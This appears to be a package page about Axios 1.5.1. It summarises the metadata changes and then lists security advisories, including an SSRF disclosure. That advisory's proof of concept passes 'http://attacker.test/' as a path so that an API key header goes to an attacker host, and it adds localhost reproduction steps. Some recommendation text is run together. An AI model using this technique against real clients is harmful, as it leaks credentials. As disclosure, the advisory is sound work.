Axios version 1.5.1 represents a minor update to the widely-used promise-based HTTP client for both browser and Node.js environments, building upon the foundation of version 1.5.0. Examining the package metadata, the core dependencies for handling form data, proxy configurations, and managing redirects remain consistent between the two versions, indicating no fundamental shifts in how Axios interacts with these essential networking aspects.
The devDependencies, a collection of tools used for development and testing, also show no changes. This points to a focus on internal improvements, bug fixes, and perhaps minor performance tweaks rather than sweeping architectural changes or new feature implementations. Developers already familiar with Axios 1.5.0 can seamlessly transition to version 1.5.1 without needing to refactor existing codebases, making the upgrade a low-risk and potentially beneficial endeavor.
The increase in unpackedSize from 1752636 to 1769525 could hint at refined code, slightly larger assets, or more comprehensive documentation.The release date difference suggests roughly a month of iterative improvements leading to version 1.5.1. For developers leveraging Axios, this minor version bump provides an opportunity to stay current with stability enhancements and incorporate the latest refinements without introducing breaking changes, reinforcing Axios’s commitment to providing a reliable and predictable HTTP client experience.
All the vulnerabilities related to the version 1.5.1 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
Server-Side Request Forgery in axios
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.